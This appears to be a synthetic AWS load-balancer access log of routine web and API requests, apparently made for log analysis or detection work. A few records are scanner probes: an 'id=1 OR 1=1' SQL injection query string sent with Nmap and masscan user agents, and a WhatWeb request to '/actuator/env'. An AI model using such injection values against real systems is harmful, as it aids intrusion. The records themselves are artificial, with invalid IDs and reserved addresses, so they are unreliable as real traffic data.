prod-api-alb 75.179.40.250:44027 10.0.247.51:443 0.093992 0.022218 0.063089 404 404 565 1792 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0f4-f0c2ba3b0e7249389cf81fc0" "prod-api-alb.example.com" "-" 9 2024-11-01T01:48:20.057393Z "forward" "-" "-" "10.0.247.51:443" "404" "-" "-" -https 2024-11-01T01:48:21.400568Z prod-web-alb 139.76.17.107:20804 10.0.120.195:443 0.008964 0.415926 0.090255 200 200 685 11405 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0f5-0cb7ea445f57432b87925034" "prod-web-alb.example.com" "-" 0 2024-11-01T01:48:21.400568Z "forward" "-" "-" "10.0.120.195:443" "200" "-" "-" -https 2024-11-01T01:48:21.682961Z prod-api-alb 143.166.56.41:55767 10.0.143.21:443 0.095999 0.350616 0.080040 200 200 235 3467 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0f5-5a182b6a4751461fa62da2b0" "prod-api-alb.example.com" "-" 7 2024-11-01T01:48:21.682961Z "forward" "-" "-" "10.0.143.21:443" "200" "-" "-" -https 2024-11-01T01:48:23.020125Z prod-api-alb 182.229.101.33:22993 10.0.55.233:443 0.032364 0.487963 0.025910 200 200 166 2520 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0f7-e2317f61b1274fb885112407" "prod-api-alb.example.com" "-" 10 2024-11-01T01:48:23.020125Z "forward" "-" "-" "10.0.55.233:443" "200" "-" "-" -https 2024-11-01T01:48:23.966400Z prod-web-alb 44.27.168.214:24885 10.0.95.76:443 0.099453 0.433893 0.081736 200 200 526 9173 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0f7-b3bcff3376dc4455886248ce" "prod-web-alb.example.com" "-" 2 2024-11-01T01:48:23.966400Z "forward" "-" "-" "10.0.95.76:443" "200" "-" "-" -http 2024-11-01T01:48:24.941686Z staging-alb 135.160.234.36:48959 143.85.140.237:8080 0.069006 0.439486 0.128222 200 200 706 3953 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0f8-48e68949549844fdb225b169" "staging-alb.example.com" "-" 2 2024-11-01T01:48:24.941686Z "forward" "-" "-" "143.85.140.237:8080" "200" "-" "-" -https 2024-11-01T01:48:25.528003Z prod-api-alb 48.167.122.235:56462 10.0.175.86:443 0.055841 0.446762 0.012788 200 200 837 12675 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0f9-87e1d2406fc04a5fb646a04d" "prod-api-alb.example.com" "-" 10 2024-11-01T01:48:25.528003Z "forward" "-" "-" "10.0.175.86:443" "200" "-" "-" -https 2024-11-01T01:48:27.218984Z prod-api-alb 221.91.57.47:47366 10.0.93.219:443 0.004331 0.181876 0.014722 200 200 690 12933 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0fb-81409e05272d416db1a421af" "prod-api-alb.example.com" "-" 4 2024-11-01T01:48:27.218984Z "forward" "-" "-" "10.0.93.219:443" "200" "-" "-" -https 2024-11-01T01:48:28.088754Z prod-web-alb 128.49.156.250:10367 10.0.92.96:443 0.011589 0.119269 0.000232 302 302 527 7622 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0fc-9e80d191b67b4467bd99ba8d" "prod-web-alb.example.com" "-" 10 2024-11-01T01:48:28.088754Z "forward" "-" "-" "10.0.92.96:443" "302" "-" "-" -http 2024-11-01T01:48:28.376811Z staging-alb 147.232.6.53:57031 129.40.70.144:80 0.022229 0.591189 0.027834 301 301 41 7705 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0fc-69d209ea54d341b08532ad59" "staging-alb.example.com" "-" 4 2024-11-01T01:48:28.376811Z "forward" "-" "-" "129.40.70.144:80" "301" "-" "-" -https 2024-11-01T01:48:29.469971Z staging-alb 153.83.253.7:58362 212.35.168.172:8080 0.107469 0.414954 0.077593 200 200 420 9219 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0fd-da567ec61e4147aeb95f35db" "staging-alb.example.com" "-" 1 2024-11-01T01:48:29.469971Z "forward" "-" "-" "212.35.168.172:8080" "200" "-" "-" -https 2024-11-01T01:48:31.295923Z prod-api-alb 185.181.129.31:60886 10.0.198.206:443 0.028367 0.066871 0.094304 200 200 522 9628 "GET /users?id=1 OR 1=1 HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0ff-8e1481b3d34d48ef92cb873b" "-" "-" 2 2024-11-01T01:48:31.295923Z "forward" "-" "-" "10.0.198.206:443" "200" "-" "-" -https 2024-11-01T01:48:32.246607Z prod-api-alb 193.27.228.82:38959 10.0.104.135:443 0.000812 0.294550 0.040392 200 200 773 11250 "GET /users?id=1 OR 1=1 HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d100-8999d88e3f9f4ca8bdf022f2" "-" "-" 3 2024-11-01T01:48:32.246607Z "forward" "-" "-" "10.0.104.135:443" "200" "-" "-" -https 2024-11-01T01:48:33.519367Z staging-alb 28.227.121.48:38191 108.207.44.187:8080 0.149501 0.190384 0.129509 301 301 692 12028 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d101-063387fdc99c4033a752d0ba" "staging-alb.example.com" "-" 5 2024-11-01T01:48:33.519367Z "forward" "-" "-" "108.207.44.187:8080" "301" "-" "-" -https 2024-11-01T01:48:34.058511Z prod-api-alb 43.50.227.173:57759 10.0.117.166:443 0.017833 0.193485 0.002899 404 404 217 8881 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d102-8d011a55a2bd4251aebcacd7" "prod-api-alb.example.com" "-" 8 2024-11-01T01:48:34.058511Z "forward" "-" "-" "10.0.117.166:443" "404" "-" "-" -https 2024-11-01T01:48:35.015974Z prod-api-alb 44.199.63.100:33811 10.0.87.117:443 0.030851 0.075572 0.068535 404 404 852 5173 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d103-60514eead58349838221cf69" "prod-api-alb.example.com" "-" 2 2024-11-01T01:48:35.015974Z "forward" "-" "-" "10.0.87.117:443" "404" "-" "-" -https 2024-11-01T01:48:36.819814Z prod-web-alb 232.62.111.81:51421 10.0.105.247:443 0.087225 0.362417 0.011856 200 200 984 12121 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d104-38f493661b7f4f60a012f7d3" "prod-web-alb.example.com" "-" 4 2024-11-01T01:48:36.819814Z "forward" "-" "-" "10.0.105.247:443" "200" "-" "-" -https 2024-11-01T01:48:38.450944Z staging-alb 127.50.52.43:61736 247.79.218.28:443 0.142792 0.174557 0.002090 200 200 455 2290 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d106-4c19a898b6864cbfb9a8f585" "staging-alb.example.com" "-" 5 2024-11-01T01:48:38.450944Z "forward" "-" "-" "247.79.218.28:443" "200" "-" "-" -https 2024-11-01T01:48:40.052928Z prod-web-alb 94.106.130.84:37722 10.0.182.146:443 0.065241 0.351362 0.014343 301 301 178 595 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d108-d42c73c249f44061a3664da6" "prod-web-alb.example.com" "-" 0 2024-11-01T01:48:40.052928Z "forward" "-" "-" "10.0.182.146:443" "301" "-" "-" -https 2024-11-01T01:48:40.830555Z prod-api-alb 24.75.40.8:21569 10.0.202.198:443 0.003752 0.487512 0.047291 301 301 535 7714 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d108-f91b87951e9d430ebfbb1296" "prod-api-alb.example.com" "-" 2 2024-11-01T01:48:40.830555Z "forward" "-" "-" "10.0.202.198:443" "301" "-" "-" -http 2024-11-01T01:48:42.082081Z staging-alb 104.169.67.33:21387 202.212.13.52:80 0.111535 0.679702 0.115187 301 301 140 558 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d10a-e4d09ac1cb004fab90f5f660" "staging-alb.example.com" "-" 5 2024-11-01T01:48:42.082081Z "forward" "-" "-" "202.212.13.52:80" "301" "-" "-" -https 2024-11-01T01:48:43.541006Z prod-web-alb 218.241.157.173:10378 10.0.106.25:443 0.044034 0.365849 0.044915 301 301 370 9401 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d10b-cbd1469beea5475ca74dd507" "prod-web-alb.example.com" "-" 2 2024-11-01T01:48:43.541006Z "forward" "-" "-" "10.0.106.25:443" "301" "-" "-" -https 2024-11-01T01:48:44.582442Z prod-web-alb 31.109.122.126:28685 10.0.86.151:443 0.058147 0.061904 0.092769 302 302 827 11144 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d10c-3390ed0e1e854bd6808126c7" "prod-web-alb.example.com" "-" 5 2024-11-01T01:48:44.582442Z "forward" "-" "-" "10.0.86.151:443" "302" "-" "-" -http 2024-11-01T01:48:46.307934Z staging-alb 89.108.51.202:29694 137.1.63.150:8080 0.149266 0.739605 0.102564 200 200 614 6596 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d10e-942b870ea4214ca4ada14d69" "staging-alb.example.com" "-" 0 2024-11-01T01:48:46.307934Z "forward" "-" "-" "137.1.63.150:8080" "200" "-" "-" -https 2024-11-01T01:48:47.637143Z prod-web-alb 79.185.215.156:60855 10.0.221.85:443 0.037013 0.027322 0.042578 200 200 892 1310 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d10f-39e6ec34c65448d9bd8934cf" "prod-web-alb.example.com" "-" 1 2024-11-01T01:48:47.637143Z "forward" "-" "-" "10.0.221.85:443" "200" "-" "-" -https 2024-11-01T01:48:48.096434Z prod-api-alb 220.100.166.63:36798 10.0.90.12:443 0.084674 0.228825 0.089967 302 302 712 7732 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d110-e13bd49a4f6a4c0ea8658358" "-" "-" 3 2024-11-01T01:48:48.096434Z "forward" "-" "-" "10.0.90.12:443" "302" "-" "-" -https 2024-11-01T01:48:49.065681Z prod-api-alb 201.160.100.50:54282 10.0.115.182:443 0.027201 0.208321 0.015602 200 200 379 11666 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d111-510293c045844baab02a24c6" "prod-api-alb.example.com" "-" 3 2024-11-01T01:48:49.065681Z "forward" "-" "-" "10.0.115.182:443" "200" "-" "-" -https 2024-11-01T01:48:50.801282Z prod-web-alb 10.100.61.86:62932 10.0.239.4:443 0.031431 0.369478 0.049272 200 200 102 13963 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d112-ad000f88b2c14ebabac50873" "prod-web-alb.example.com" "-" 3 2024-11-01T01:48:50.801282Z "forward" "-" "-" "10.0.239.4:443" "200" "-" "-" -https 2024-11-01T01:48:51.100536Z prod-web-alb 111.67.105.129:22384 10.0.16.168:443 0.061163 0.091175 0.024339 200 200 180 7183 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d113-9e074e97d9c34155bbe89793" "prod-web-alb.example.com" "-" 9 2024-11-01T01:48:51.100536Z "forward" "-" "-" "10.0.16.168:443" "200" "-" "-" -https 2024-11-01T01:48:51.739450Z prod-api-alb 2.143.198.196:24437 10.0.178.60:443 0.013950 0.178532 0.024184 200 200 49 3237 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d113-d28f53cdc0344e1785145352" "prod-api-alb.example.com" "-" 10 2024-11-01T01:48:51.739450Z "forward" "-" "-" "10.0.178.60:443" "200" "-" "-" -https 2024-11-01T01:48:52.820143Z staging-alb 83.6.141.233:14386 39.15.92.78:80 0.037985 0.639514 0.055610 200 200 941 8158 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d114-c3005ab4f9e247d182829dcb" "staging-alb.example.com" "-" 7 2024-11-01T01:48:52.820143Z "forward" "-" "-" "39.15.92.78:80" "200" "-" "-" -https 2024-11-01T01:48:53.026941Z staging-alb 72.188.12.139:55862 210.163.104.229:80 0.140057 0.367362 0.063409 200 200 954 13491 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d115-80ae25d55ebf4cafb621158c" "staging-alb.example.com" "-" 10 2024-11-01T01:48:53.026941Z "forward" "-" "-" "210.163.104.229:80" "200" "-" "-" -http 2024-11-01T01:48:53.754061Z staging-alb 51.14.81.180:27282 78.166.28.110:8080 0.076659 0.401594 0.072157 200 200 885 4506 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d115-b8a598d09f5a4f8298f2a90d" "staging-alb.example.com" "-" 0 2024-11-01T01:48:53.754061Z "forward" "-" "-" "78.166.28.110:8080" "200" "-" "-" -https 2024-11-01T01:48:54.567413Z prod-api-alb 75.187.190.254:53676 10.0.126.140:443 0.035690 0.447094 0.017967 200 200 836 5292 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d116-9b0c100b94bc4ec5a65b2222" "prod-api-alb.example.com" "-" 0 2024-11-01T01:48:54.567413Z "forward" "-" "-" "10.0.126.140:443" "200" "-" "-" -https 2024-11-01T01:48:55.415836Z prod-web-alb 251.190.41.89:12299 10.0.54.41:443 0.005571 0.103436 0.064495 200 200 122 3928 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d117-4dddde6802d7416595286913" "prod-web-alb.example.com" "-" 6 2024-11-01T01:48:55.415836Z "forward" "-" "-" "10.0.54.41:443" "200" "-" "-" -https 2024-11-01T01:48:56.966376Z prod-api-alb 61.93.16.35:18902 10.0.29.116:443 0.023431 0.213390 0.072421 200 200 330 368 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d118-ddca33cff432433ca39ebbe6" "prod-api-alb.example.com" "-" 5 2024-11-01T01:48:56.966376Z "forward" "-" "-" "10.0.29.116:443" "200" "-" "-" -https 2024-11-01T01:48:58.517499Z prod-web-alb 12.110.140.125:40567 10.0.64.147:443 0.066917 0.381392 0.004051 301 301 313 14506 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d11a-4e50f9ceee62475ca9d62a39" "prod-web-alb.example.com" "-" 8 2024-11-01T01:48:58.517499Z "forward" "-" "-" "10.0.64.147:443" "301" "-" "-" -https 2024-11-01T01:48:59.235478Z prod-web-alb 253.191.94.187:43239 10.0.67.61:443 0.063092 0.336384 0.024125 302 302 58 8240 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d11b-ec0e7521380d41e98ded5e29" "prod-web-alb.example.com" "-" 0 2024-11-01T01:48:59.235478Z "forward" "-" "-" "10.0.67.61:443" "302" "-" "-" -http 2024-11-01T01:48:59.405285Z staging-alb 37.189.151.231:16818 136.195.224.151:443 0.034653 0.259608 0.092226 200 200 863 9936 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d11b-f5c4017fef494e6e87f7963f" "staging-alb.example.com" "-" 9 2024-11-01T01:48:59.405285Z "forward" "-" "-" "136.195.224.151:443" "200" "-" "-" -http 2024-11-01T01:49:00.799595Z staging-alb 78.165.221.60:54695 239.35.132.230:80 0.009452 0.351661 0.035338 301 301 70 6879 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d11c-2ab7dafc8abe463da1ffd498" "staging-alb.example.com" "-" 4 2024-11-01T01:49:00.799595Z "forward" "-" "-" "239.35.132.230:80" "301" "-" "-" -https 2024-11-01T01:49:02.505380Z prod-web-alb 50.17.76.29:30656 10.0.40.24:443 0.028040 0.107083 0.068463 200 200 783 5733 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d11e-27c63a276f964044a51a9c55" "prod-web-alb.example.com" "-" 2 2024-11-01T01:49:02.505380Z "forward" "-" "-" "10.0.40.24:443" "200" "-" "-" -https 2024-11-01T01:49:02.849155Z prod-web-alb 4.125.243.65:58959 10.0.245.35:443 0.023184 0.221594 0.081975 301 301 168 570 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d11e-b5508dc8d4d440609fc865b9" "prod-web-alb.example.com" "-" 3 2024-11-01T01:49:02.849155Z "forward" "-" "-" "10.0.245.35:443" "301" "-" "-" -https 2024-11-01T01:49:03.228110Z prod-api-alb 45.155.205.67:23535 10.0.31.169:443 0.098126 0.141655 0.003737 403 403 345 8430 "POST /actuator/env HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d11f-e01fab14497448edb98b3b77" "-" "-" 1 2024-11-01T01:49:03.228110Z "forward" "-" "-" "10.0.31.169:443" "403" "-" "-" -https 2024-11-01T01:49:05.132909Z prod-api-alb 14.101.46.200:52530 10.0.13.27:443 0.069244 0.357991 0.045352 200 200 278 9892 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d121-a47ef5a58e0c4fb4a2dd4c8a" "-" "-" 10 2024-11-01T01:49:05.132909Z "forward" "-" "-" "10.0.13.27:443" "200" "-" "-" -https 2024-11-01T01:49:06.600595Z prod-web-alb 141.72.144.36:64516 10.0.116.25:443 0.040549 0.403509 0.087035 200 200 334 9586 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d122-30b7f4c15f224e0eb33aa72c" "prod-web-alb.example.com" "-" 10 2024-11-01T01:49:06.600595Z "forward" "-" "-" "10.0.116.25:443" "200" "-" "-" -https 2024-11-01T01:49:08.153899Z prod-api-alb 95.232.127.130:56743 10.0.192.9:443 0.002483 0.231501 0.004283 200 200 874 5039 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d124-f7752a6e85b646898d2794d2" "prod-api-alb.example.com" "-" 7 2024-11-01T01:49:08.153899Z "forward" "-" "-" "10.0.192.9:443" "200" "-" "-" -http 2024-11-01T01:49:09.494592Z staging-alb 178.159.196.118:54811 166.48.54.63:80 0.024566 0.243234 0.012588 200 200 831 14147 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d125-57507627ae3e4ae69e49b2b9" "-" "-" 5 2024-11-01T01:49:09.494592Z "forward" "-" "-" "166.48.54.63:80" "200" "-" "-" -https 